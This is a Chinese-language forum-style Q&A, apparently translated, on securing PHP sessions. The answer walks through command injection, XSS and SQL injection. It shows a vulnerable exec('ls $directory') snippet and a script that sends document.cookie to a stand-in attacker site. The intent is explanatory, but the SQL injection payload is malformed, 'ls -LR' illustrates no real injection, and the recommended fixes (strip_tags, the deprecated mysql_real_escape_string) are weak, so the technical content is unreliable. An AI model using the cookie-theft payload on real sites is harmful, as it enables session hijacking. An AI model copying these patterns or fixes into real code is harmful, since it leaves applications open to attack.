我已经阅读了很多关于owasp.org
保护 PHP 会话的文章,其中我记得最多但不能很好理解的一件事。
我不能很好地理解保护会话是如何进行的,因此我在这里问。在 PHP 中保护会话的最佳方法是什么?
附带问题:文件输入是否容易受到 XSS 攻击?
这是 PHP 会话劫持的来源: OWASP.org: PHP Security Cheat Sheet
在 PHP 中保护会话的最佳方法是什么?
安全就像你去专柜买一瓶牛奶。阅读客户评论可能会告诉您最好的牛奶是什么,但是对于安全来说,这有点不同。
客户评论是 Owasp 概述的内容。它告诉您安全会话处理的一般动态和含义。
由于 PHP 会话只是 PHP 本身提供的某种基本功能,因此没有太多可以告诉您保护这些会话的最佳方法是什么,因为这在很大程度上取决于您如何使用该功能。
然而,使用 PHP 会话的最佳方式的一个明确部分是密切关注 PHP 本身的安全报告和审查以及特定的会话功能。然后注意保持最新的 PHP 版本,它提供了保护会话的最佳方式,这可能是最新的稳定版本。有时如果报告了缺陷,下一个版本并没有完全修复,所以要小心。
其他与 PHP 无关的东西都是未定义的,Owasp 在这里只能提供一个子集。
因此,为了安全起见,在开始将其应用于(您的)PHP 代码之前,首先了解 Owasp 文档中概述的内容是绝对重要的。例如,通过在这里提问,恕我直言,最好的方向是你学习更难理解发生了什么以及 Owasp 文档中的含义。
了解事物的工作原理是安全性的关键。
以下是一些需要牢记的主要问题:
假设您有一个允许用户查看文件夹内容的网页(例如,您的托管公司并向用户显示他们在服务器上的文件)
下面是一些可能实现它的代码:
$directory = $_GET['directory'];
exec("ls $directory", $result);
攻击者可以通过将其他命令传入 url 字符串来利用这一点,例如:
ls -LR
每个会话都有一个唯一的 ID,如果攻击者获得它,他们可以(可能)使用它来获取机密信息。
为了防止这种情况,让用户在做任何敏感的事情之前(使用他们的密码)重新验证(例如,如果用户想要重置他们的密码,强制他们先输入旧密码)
每当您拥有一个包含用户生成内容的站点时(一个很好的例子是博客上的评论),攻击者就有可能将 JavaScript 放入他的内容(阅读:他的评论)中,这可能会损害所有用户来到页面。
这是一个例子:
<script>
document.location = 'http://www.hackingYou.com/stealYourData.php?' + document.cookie;
</script>
此代码将允许攻击者网站 (hackingYou.com) 窃取您当前访问的网站的 cookie。
防止这种情况的一种方法是从使用以下命令输入的任何字符串中删除任何 HTML:
strip_tags($input);
(没有这个就不是一个体面的答案)
假设您有一个将用户登录到站点的网页。为了使他们成功登录,您检查他们在数据库中的记录。
以下是它的编码方式:
$sql = "SELECT * FROM users WHERE username = $_GET['username'] and password = $_GET['password']";
攻击者可以通过输入密码字段来利用它:
abcd OR WHERE 1 = 1
生成的 sql 语句如下所示:
SELECT * FROM users WHERE username = hacker AND password = abcd OR WHERE 1 = 1;
这将向攻击者吐出所有用户名和密码的完整表。
为了防止这种“清理”您的 SQL 输入字符串,请使用以下命令:
mysql_real_escape_string($input)
这是大部分基础知识,显然人们应该始终通过阅读最新的安全公告来了解最新情况,例如:
确保所有环境安全的最佳方法是学习 PHP Web 框架,它将为您提供随时可用的安全级别输入。
显然,安全性不存在,它存在更好的安全性和最差的安全性,我建议你不要重新发明轮子,因此根据社区错误/黑客报告,Web 框架每天都会被深度修复,而这,我想想,是您可以获得的最大安全级别!